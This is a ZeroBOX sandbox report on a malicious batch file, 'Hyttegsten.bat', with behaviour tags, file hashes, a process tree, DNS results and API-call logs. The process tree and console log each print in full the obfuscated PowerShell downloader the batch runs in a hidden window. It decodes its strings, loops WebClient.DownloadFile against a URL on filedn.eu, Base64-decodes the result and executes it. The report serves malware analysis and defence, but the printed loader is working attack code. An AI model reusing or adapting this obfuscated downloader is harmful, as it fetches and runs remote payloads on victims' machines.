popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Hyttegsten.bat

Generic Malware Downloader Antivirus FTP Code injection DGA Escalate priviledges Socket ScreenShot Create Service KeyLogger Sniff Audio P2P Internet API DNS Http API HTTP Steal credential PWS AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 27, 2024, 12:32 p.m. Nov. 27, 2024, 12:34 p.m.
Size 6.0KB
Type ASCII text, with very long lines, with no line terminators
MD5 3eb2c328550925d05ae2752a11941ef9
SHA256 c8afdcedda466bacdff49ccb6a04f6a72bcf04b51fa660241597ada42ff21618
CRC32 D92CD421
ssdeep 96:IsjziMpZRfe4BIjm6QUXcL3MemDCi+gs2JEafF7ddZyZPw:Isjl3BecScLc/mi+j23dZEw
Yara
  • Antivirus - Contains references to security software

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "MJTdZEt" C:\Users\test22\AppData\Local\Temp\Hyttegsten.bat

    204

    • cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Hyttegsten.bat

      2056

      • powershell.exe powershell.exe -windowstyle hidden ";$Brugerantallene='Europiseringers';;$Cheatery='Kammes';;$Uspecificeret='Fillment';;$Mandetimen='Overponderousness';;$Bvss='Stableren';;$Carval=$host.Name;function reregulation($Desertful){If ($Carval) {$Candlewicks=4} for ($zoarite=$Candlewicks;;$zoarite+=5){if(!$Desertful[$zoarite]) { break }$Krsels+=$Desertful[$zoarite]}$Krsels}function Skibslistes($Frtidig){ .($Corporation) ($Frtidig)}$Unrepugnantly=reregulation 'BaccNTwige nhTMarm.OpfyW Kl ERentBSchoCGteslunivIFolkE .efn,oilt';$Afstedkommet=reregulation 'MagnM ,ucoPreezRamiiAntilReinl Kbsa Phi/';$Vitamin=reregulation 'P unTCorpl ugds ord1Skud2';$Pickaxing='uni,[Clern BrnE Neut .id.TautSCo.pEVandrOv rvFamiiLa,eC U ie iabPS,alo haniChymnN tiTP,mpmLug,ALnesNA,ota EksgJuleE FjeRPa r]natt:Supe:My.tSHaane F.dC etaUChanr lagIPterTTraeYH lsPMonor D.go.hrytpreroIcodcForeOTheoLIndt=Mixe$findvJoriI agatRet A P yMSpariPulpN';$Afstedkommet+=reregulation 'Opva5 Bit.Vare0Mari coll(CataWaarsiQuinn.npud Sp oSterw tussFork a.eNChorTI ra Caf1L ch0G.ni. O,t0hapl;Gray helsWSpydi AsynSlot6Akti4Scot;Ar h TraaxCa n6 Te,4 Dec;klig RetirAvenvOpsi:Incu1 Raa3Arom1Frst.Sy o0De o) For Uv jG U meKnugcFinkks.ldoUnga/D.sv2 Aff0Argu1Bot 0 Akt0 onv1coun0com,1Lang BuveFM,cri SnfrHejde .erfWh mo ,fhx Mid/ Jul1Olig3Kva,1B ds.Civi0';$Anatomers=reregulation 'NvesURengS RaaEK perP os-DiazA.ortgDykke modn uclt';$tribunitiary=reregulation ' uldh PoutTapitTimupSinos.ame:sati/Ba,a/ kalfPasei Spalf.sceSentdBlennTo.o.Fe teCosiu En / Slalm no9B ektMiljESabawAwatbKart9Dvrgs Uni6O era Diga bonR SnawSyn 5FriffPartyYogiU Illi taaSikkCSpyt0Overl PrefPlas/ antfMammoEgnsrSig.s nsntWesta argaPriveB yal RipiHeargBannhS ndeOut d.almeTromrAksos.isi. .msp SilsMetem';$Deled=reregulation 'Etag>';$Corporation=reregulation 'SewaiM,noe ParX';$Defilerede240='Udpresningen134';$Cranic='\Synanon.Non';Skibslistes (reregulation 'Inte$UndeG Argl te.oTyvabafryA PlaLC ph:FlexI Rh c Allh ardTPr.sH MogyAftrO oreCUdtvOFor,pHingrk loooseslAm,sI,rkyTEkspE Br =Ekla$Kat eVejaN AdmV orm:UlrdaResiPI luPUnrud ForANonsTSor.ASval+Dags$BuleCVas R Para.anrN M liFrasC');Skibslistes (reregulation 'Pe,a$InstGPl,tLL,aiOBrembpaapa.chiL Ba.: UnddRe.eE ertpS.rtRKoffIBr.nv CyrAVan tfairi odoTrolNvelsSU detA veiStryLT lfS BruTAssiaSo.sNTagkD ntreManu=T va$figutHal,RVeheIStudbRinguAltenToupiSpegtS.ati V,naOrphRUregYMaid.NiveS uftpFe ll AfbiPyretValg(Misc$I trd urieFittLDomsEUdp Dtrea)');Skibslistes (reregulation $Pickaxing);$tribunitiary=$Deprivationstilstande[0];$Koeen=(reregulation ' F n$StyrgStivLModfOf.stB nexaTrusLTi s:BankSMonotHyl,o elrDom,tBehaiImponKrongMis.sAn.oMThomERatiDDaadLSklrEdiscmSprimD mm=Sp rN ingEWe kwTrvf-OutloBed BLithJ aleER dbcBramTDde ForfSAareY DorS,eacT spaESvanMScur.micr$PresuDisqnReasR DelECaseP oasUpr sgSagsNReseAEar,nVejet S dlboary');Skibslistes ($Koeen);Skibslistes (reregulation ' Fed$S.ulSBytntIntroW ntr Ha tNighiStornOve,g ,nksS,elmMotoeMar dOppelTrimeYdermF atmFla .Aph HPusteInd,aKvabdState enlr AutsCopo[ Aft$AsboARaggnreinaTr,atUdmaoD pomTofaeKontr.utesGaff]Nomi=Ka e$FastACen,fScrusPeltt SleeexpldA.fakSmeroMe,em P,sm ManeLoyrt');$microbic=reregulation 'C al$ArraSCoeltT eaoUltrrGenntKa diBrusnFremg eos T amStrieAlkad LimlFlaaeVildmBa emGan . MaiDBrygoOestwOmstnAntilKro.oOveraAksldKiwiF DeriForelCongeMade(Rewi$ nvetFor rSubniWindbHornu Fisn rm.i iget In ip,raaPictrSkrby Man,Tria$li,jB.rrer N tiNa eeRygevSuffeVarn)';$Brieve=$ichthyocoprolite;Skibslistes (reregulation 'Tris$Umbrg PallOmdioEmbabDrivaHandlOp.a:RelapBarirFi gC ProiNonssU skIEyewoStudnStrueT maN fte=For,(EffeT edkE S oSEvenTtran-ValrPHomoaKollt orrHUren ndv$CoshBR inr atti RateGennvPa heS.rm)');while (!$Prcisionen) {Skibslistes (reregulation ' En $ PhagBevilEsopoTentb PolatranlG.om:udstR FireAntaaGly rEnspsLec =Spon$AkteCThe,i Sigr Mi cGr.cuSpismL nnpGavslUndeeLydecS,odt') ;Skibslistes $microbic;Skibslistes (reregulation 'HypeSK.ziT solA KerRmanstPlet-Vishs Lanldelse estEDusip aks deo4');Skibslistes (reregulation 'Fund$Te.kgSupplSnagONou,BDiskascanLJu,e:TalcpB dnRD bicDebaIB,dfsDuteiMarko TheN.paaEnonfN .or= ac(safttSequEPreeSCry.T Ega-KemiP.nshaCanttSkulhVk,t Sneb$ FilBHyetRNbidil xee,uttV R mE,pir)') ;Skibslistes (reregulation 'Dist$ N nGDryflSm.lO risb SovA ChalB gp:PittMH orAChlon Po,DFiskAAulet Undoops rDealiKaldnMalaE indSVerts Met=Ngle$ MavGRgtel TowoPrkeBDrneA antLSvum:FragtLe,krUnenATvekN oars CanL b roKn.pkIhndaM lotdyreIEns O PolnwhipeBionNTil 2,arm4 chi6 ymn+Udre+Muff% erv$,kend AgoES.ilpAgenRakadiPoacvRammAJeamT ediIJaghOMe aNB oks C ntTaraIRi eL lumSNd aT.irsA Skrn DevdsvaeeNedf.ParcCLuxuOBehouGstgn.remT') ;$tribunitiary=$Deprivationstilstande[$Mandatoriness]}$Biens=316499;$Legendarisk=29869;Skibslistes (reregulation 'An r$BanggHydrLRe vo skabBrugAHandlTent:RecubSopheNatuNPardZIncaa MisnSalaT,ribhLa.gr ruta Pe c iste MejnC.rrEDa,a Sp,n=V tr BringA die GasTMark-F.laC TrioDeponKgmttGrubeFilantillTPer Nedk$Fu.kb di,rPapmIModeeSpaaVDr fE');Skibslistes (reregulation 'Udr.$ Talg Sk lOut oPledbSkr.aOliglTrls:ToplS B,nh MoneE,grredoml.ndeoKinec alpkCooe Time=Udfr Sauc[ BorSDkniyBehosHalvt ScaeSca.mSniv.,eckCBsseoFastn neovTilseSclerTegntSkva]Down:Brom:PukkF Ster nicoSyl mRef.B SkoaPronsSeiseLoeb6He,e4,kolSDefltAfs,rStati erntracg kor(Reth$B blBTowlePrefnDleszCheiaCanan Vilt PsyhdelirVolua L,pc.idseGarnnEndeeS,rp)');Skibslistes (reregulation 'Haev$Con,GG lll tenODrukB impAAdg.L Kok:,lumuNeu nTreadKa se HemrUnhoCPhi,O .dkMD.camBeduaPushn Ra D CouE tneRLder Frst=tuto ,rac[CropsDhurYOutws Neut AppeAmfimJoyo.RibaTKol EtrafXSlaaTClei.triseCutiNBlodC Br o Plud BarI aryNS rfGEntr] Und:Diff: andA NyiSCauscDialITi,kIbism.DresgMiniE AnfTM jes T lT SviR SpnIAnk,NRepuG Cau(sste$Draas Oprh anie repRSin.lModeoMoticKontk Dam)');Skibslistes (reregulation 'Gimb$ uckgLangLOrigoSengBOccuAmeril Amb: C iR BanIMarid igeEPan s LidTHysti.masE PrsnFritsSang=S ed$Sensu G lnBootDHjhleMazdR.escCWaneo hypMDrtrmSnapaVandNConddFlexE onjr.and.JuneS annUwandbugarSI tetBenerArbeIUpheN gnig,rbe(Unce$Foldb OstIKldeEPrean DesS Vir,Vamp$Mistle one RegGDistE astNNewzDlithAReliRUnthi S dSSeedKBjar)');Skibslistes $Ridestiens;"

        2164

Name Response Post-Analysis Lookup
filedn.eu 45.131.244.47
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: start
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /min powershell.exe -windowstyle hidden ";$Brugerantallene='Europiseringers';;$Cheatery='Kammes';;$Uspecificeret='Fillment';;$Mandetimen='Overponderousness';;$Bvss='Stableren';;$Carval=$host.Name;function reregulation($Desertful){If ($Carval) {$Candlewicks=4} for ($zoarite=$Candlewicks;;$zoarite+=5){if(!$Desertful[$zoarite]) { break }$Krsels+=$Desertful[$zoarite]}$Krsels}function Skibslistes($Frtidig){ .($Corporation) ($Frtidig)}$Unrepugnantly=reregulation 'BaccNTwige nhTMarm.OpfyW Kl ERentBSchoCGteslunivIFolkE .efn,oilt';$Afstedkommet=reregulation 'MagnM ,ucoPreezRamiiAntilReinl Kbsa Phi/';$Vitamin=reregulation 'P unTCorpl ugds ord1Skud2';$Pickaxing='uni,[Clern BrnE Neut .id.TautSCo.pEVandrOv rvFamiiLa,eC U ie iabPS,alo haniChymnN tiTP,mpmLug,ALnesNA,ota EksgJuleE FjeRPa r]natt:Supe:My.tSHaane F.dC etaUChanr lagIPterTTraeYH lsPMonor D.go.hrytpreroIcodcForeOTheoLIndt=Mixe$findvJoriI agatRet A P yMSpariPulpN';$Afstedkommet+=reregulation 'Opva5 Bit.Vare0Mari coll(CataWaarsiQuinn.npud Sp oSterw tussFork a.eNChorTI ra Caf1L ch0G.ni. O,t0hapl;Gray helsWSpydi AsynSlot6Akti4Scot;Ar h TraaxCa n6 Te,4 Dec;klig RetirAvenvOpsi:Incu1 Raa3Arom1Frst.Sy o0De o) For Uv jG U meKnugcFinkks.ldoUnga/D.sv2 Aff0Argu1Bot 0 Akt0 onv1coun0com,1Lang BuveFM,cri SnfrHejde .erfWh mo ,fhx Mid/ Jul1Olig3Kva,1B ds.Civi0';$Anatomers=reregulation 'NvesURengS RaaEK perP os-DiazA.ortgDykke modn uclt';$tribunitiary=reregulation ' uldh PoutTapitTimupSinos.ame:sati/Ba,a/ kalfPasei Spalf.sceSentdBlennTo.o.Fe teCosiu En / Slalm no9B ektMiljESabawAwatbKart9Dvrgs Uni6O era Diga bonR SnawSyn 5FriffPartyYogiU Illi taaSikkCSpyt0Overl PrefPlas/ antfMammoEgnsrSig.s nsntWesta argaPriveB yal RipiHeargBannhS ndeOut d.almeTromrAksos.isi. .msp SilsMetem';$Deled=reregulation 'Etag>';$Corporation=reregulation 'SewaiM,noe ParX';$Defilerede240='Udpresningen134';$Cranic='\Synanon.Non';Skibslistes (reregulation 'Inte$UndeG Argl te.oTyvabafryA PlaLC ph:FlexI Rh c Allh ardTPr.sH MogyAftrO oreCUdtvOFor,pHingrk loooseslAm,sI,rkyTEkspE Br =Ekla$Kat eVejaN AdmV orm:UlrdaResiPI luPUnrud ForANonsTSor.ASval+Dags$BuleCVas R Para.anrN M liFrasC');Skibslistes (reregulation 'Pe,a$InstGPl,tLL,aiOBrembpaapa.chiL Ba.: UnddRe.eE ertpS.rtRKoffIBr.nv CyrAVan tfairi odoTrolNvelsSU detA veiStryLT lfS BruTAssiaSo.sNTagkD ntreManu=T va$figutHal,RVeheIStudbRinguAltenToupiSpegtS.ati V,naOrphRUregYMaid.NiveS uftpFe ll AfbiPyretValg(Misc$I trd urieFittLDomsEUdp Dtrea)');Skibslistes (reregulation $Pickaxing);$tribunitiary=$Deprivationstilstande[0];$Koeen=(reregulation ' F n$StyrgStivLModfOf.stB nexaTrusLTi s:BankSMonotHyl,o elrDom,tBehaiImponKrongMis.sAn.oMThomERatiDDaadLSklrEdiscmSprimD mm=Sp rN ingEWe kwTrvf-OutloBed BLithJ aleER dbcBramTDde ForfSAareY DorS,eacT spaESvanMScur.micr$PresuDisqnReasR DelECaseP oasUpr sgSagsNReseAEar,nVejet S dlboary');Skibslistes ($Koeen);Skibslistes (reregulation ' Fed$S.ulSBytntIntroW ntr Ha tNighiStornOve,g ,nksS,elmMotoeMar dOppelTrimeYdermF atmFla .Aph HPusteInd,aKvabdState enlr AutsCopo[ Aft$AsboARaggnreinaTr,atUdmaoD pomTofaeKontr.utesGaff]Nomi=Ka e$FastACen,fScrusPeltt SleeexpldA.fakSmeroMe,em P,sm ManeLoyrt');$microbic=reregulation 'C al$ArraSCoeltT eaoUltrrGenntKa diBrusnFremg eos T amStrieAlkad LimlFlaaeVildmBa emGan . MaiDBrygoOestwOmstnAntilKro.oOveraAksldKiwiF DeriForelCongeMade(Rewi$ nvetFor rSubniWindbHornu Fisn rm.i iget In ip,raaPictrSkrby Man,Tria$li,jB.rrer N tiNa eeRygevSuffeVarn)';$Brieve=$ichthyocoprolite;Skibslistes (reregulation 'Tris$Umbrg PallOmdioEmbabDrivaHandlOp.a:RelapBarirFi gC ProiNonssU skIEyewoStudnStrueT maN fte=For,(EffeT edkE S oSEvenTtran-ValrPHomoaKollt orrHUren ndv$CoshBR inr atti RateGennvPa heS.rm)');while (!$Prcisionen) {Skibslistes (reregulation ' En $ PhagBevilEsopoTentb PolatranlG.om:udstR FireAntaaGly rEnspsLec =Spon$AkteCThe,i Sigr Mi cGr.cuSpismL nnpGavslUndeeLydecS,odt') ;Skibslistes $microbic;Skibslistes (reregulation 'HypeSK.ziT solA KerRmanstPlet-Vishs Lanldelse estEDusip aks deo4');Skibslistes (reregulation 'Fund$Te.kgSupplSnagONou,BDiskascanLJu,e:TalcpB dnRD bicDebaIB,dfsDuteiMarko TheN.paaEnonfN .or= ac(safttSequEPreeSCry.T Ega-KemiP.nshaCanttSkulhVk,t Sneb$ FilBHyetRNbidil xee,uttV R mE,pir)') ;Skibslistes (reregulation 'Dist$ N nGDryflSm.lO risb SovA ChalB gp:PittMH orAChlon Po,DFiskAAulet Undoops rDealiKaldnMalaE indSVerts Met=Ngle$ MavGRgtel TowoPrkeBDrneA antLSvum:FragtLe,krUnenATvekN oars CanL b roKn.pkIhndaM lotdyreIEns O PolnwhipeBionNTil 2,arm4 chi6 ymn+Udre+Muff% erv$,kend AgoES.ilpAgenRakadiPoacvRammAJeamT ediIJaghOMe aNB oks C ntTaraIRi eL lumSNd aT.irsA Skrn DevdsvaeeNedf.ParcCLuxuOBehouGstgn.remT') ;$tribunitiary=$Deprivationstilstande[$Mandatoriness]}$Biens=316499;$Legendarisk=29869;Skibslistes (reregulation 'An r$BanggHydrLRe vo skabBrugAHandlTent:RecubSopheNatuNPardZIncaa MisnSalaT,ribhLa.gr ruta Pe c iste MejnC.rrEDa,a Sp,n=V tr BringA die GasTMark-F.laC TrioDeponKgmttGrubeFilantillTPer Nedk$Fu.kb di,rPapmIModeeSpaaVDr fE');Skibslistes (reregulation 'Udr.$ Talg Sk lOut oPledbSkr.aOliglTrls:ToplS B,nh MoneE,grredoml.ndeoKinec alpkCooe Time=Udfr Sauc[ BorSDkniyBehosHalvt ScaeSca.mSniv.,eckCBsseoFastn neovTilseSclerTegntSkva]Down:Brom:PukkF Ster nicoSyl mRef.B SkoaPronsSeiseLoeb6He,e4,kolSDefltAfs,rStati erntracg kor(Reth$B blBTowlePrefnDleszCheiaCanan Vilt PsyhdelirVolua L,pc.idseGarnnEndeeS,rp)');Skibslistes (reregulation 'Haev$Con,GG lll tenODrukB impAAdg.L Kok:,lumuNeu nTreadKa se HemrUnhoCPhi,O .dkMD.camBeduaPushn Ra D CouE tneRLder Frst=tuto ,rac[CropsDhurYOutws Neut AppeAmfimJoyo.RibaTKol EtrafXSlaaTClei.triseCutiNBlodC Br o Plud BarI aryNS rfGEntr] Und:Diff: andA NyiSCauscDialITi,kIbism.DresgMiniE AnfTM jes T lT SviR SpnIAnk,NRepuG Cau(sste$Draas Oprh anie repRSin.lModeoMoticKontk Dam)');Skibslistes (reregulation 'Gimb$ uckgLangLOrigoSengBOccuAmeril Amb: C iR BanIMarid igeEPan s LidTHysti.masE PrsnFritsSang=S ed$Sensu G lnBootDHjhleMazdR.escCWaneo hypMDrtrmSnapaVandNConddFlexE onjr.and.JuneS annUwandbugarSI tetBenerArbeIUpheN gnig,rbe(Unce$Foldb OstIKldeEPrean DesS Vir,Vamp$Mistle one RegGDistE astNNewzDlithAReliRUnthi S dSSeedKBjar)');Skibslistes $Ridestiens;"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Exception setting "SecurityProtocol": "Cannot convert value "Tls12" to type "Sy
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: stem.Net.SecurityProtocolType" due to invalid enumeration values. Specify one o
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: f the following enumeration values and try again. The possible enumeration valu
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: es are "Ssl3, Tls"."
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:28
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + [nEt.SErviCePoinTmANagER]:: <<<< SeCUrITYProtocOL=$vItAMiN
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : PropertyAssignmentException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'filedn.eu'"
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:31
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $Stortingsmedlemm.DownloadFile <<<< ($tribunitiary,$Brieve)
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n
console_handle: 0x0000007f
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'filedn.eu'"
console_handle: 0x0000008b
1 1 0

WriteConsoleW

 buffer: At line:1 char:31
console_handle: 0x00000097
1 1 0

WriteConsoleW

 buffer: + $Stortingsmedlemm.DownloadFile <<<< ($tribunitiary,$Brieve)
console_handle: 0x000000a3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000af
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000bb
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n
console_handle: 0x000000db
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'filedn.eu'"
console_handle: 0x000000e7
1 1 0

WriteConsoleW

 buffer: At line:1 char:31
console_handle: 0x000000f3
1 1 0

WriteConsoleW

 buffer: + $Stortingsmedlemm.DownloadFile <<<< ($tribunitiary,$Brieve)
console_handle: 0x000000ff
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x0000010b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x00000117
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'filedn.eu'"
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: At line:1 char:31
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: + $Stortingsmedlemm.DownloadFile <<<< ($tribunitiary,$Brieve)
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'filedn.eu'"
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: At line:1 char:31
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: + $Stortingsmedlemm.DownloadFile <<<< ($tribunitiary,$Brieve)
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadFile" with "2" argument(s): "The remote name could n
console_handle: 0x000001ef
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'filedn.eu'"
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: At line:1 char:31
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: + $Stortingsmedlemm.DownloadFile <<<< ($tribunitiary,$Brieve)
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x0000022b
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00304fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00304fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00304fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00304fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00304fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00304fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305428
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305aa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305ca8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00305728
flags: 0
